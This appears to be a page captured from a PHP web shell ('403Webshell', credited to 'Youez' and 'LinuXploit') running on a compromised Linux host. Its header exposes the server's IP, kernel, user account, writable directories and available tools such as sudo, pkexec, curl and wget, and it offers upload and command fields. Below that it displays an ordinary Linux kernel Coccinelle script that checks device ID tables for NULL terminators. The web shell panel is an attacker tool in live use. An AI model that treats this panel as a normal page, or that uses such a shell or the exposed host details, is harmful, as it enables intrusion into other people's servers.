- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 18.188.249.160
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/modules/4.18.0-553.30.1.lve.el8.x86_64/build/scripts/coccinelle/misc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/modules/4.18.0-553.30.1.lve.el8.x86_64/build/scripts/coccinelle/misc/of_table.cocci
// SPDX-License-Identifier: GPL-2.0
/// Make sure (of/i2c/platform)_device_id tables are NULL terminated
//
// Keywords: of_table i2c_table platform_table
// Confidence: Medium
// Options: --include-headers

virtual patch
virtual context
virtual org
virtual report

@depends on context@
identifier var, arr;
expression E;
@@
(
struct \(of_device_id \| i2c_device_id \| platform_device_id\) arr[] = {
	...,
	{
	.var = E,
*	}
};
|
struct \(of_device_id \| i2c_device_id \| platform_device_id\) arr[] = {
	...,
*	{ ..., E, ... },
};
)

@depends on patch@
identifier var, arr;
expression E;
@@
(
struct \(of_device_id \| i2c_device_id \| platform_device_id\) arr[] = {
	...,
	{
	.var = E,
-	}
+	},
+	{ }
};
|
struct \(of_device_id \| i2c_device_id \| platform_device_id\) arr[] = {
	...,
	{ ..., E, ... },
+	{ },
};
)

@r depends on org || report@
position p1;
identifier var, arr;
expression E;
@@
(
struct \(of_device_id \| i2c_device_id \| platform_device_id\) arr[] = {
	...,
	{
	.var = E,
	}
	@p1
};
|
struct \(of_device_id \| i2c_device_id \| platform_device_id\) arr[] = {
	...,
	{ ..., E, ... }
	@p1
};
)

@script:python depends on org@
p1 << r.p1;
arr << r.arr;
@@

cocci.print_main(arr,p1)

@script:python depends on report@
p1 << r.p1;
arr << r.arr;
@@

msg = "%s is not NULL terminated at line %s" % (arr, p1[0].line)
coccilib.report.print_report(p1[0],msg)

Youez - 2016 - github.com/yon3zu
LinuXploit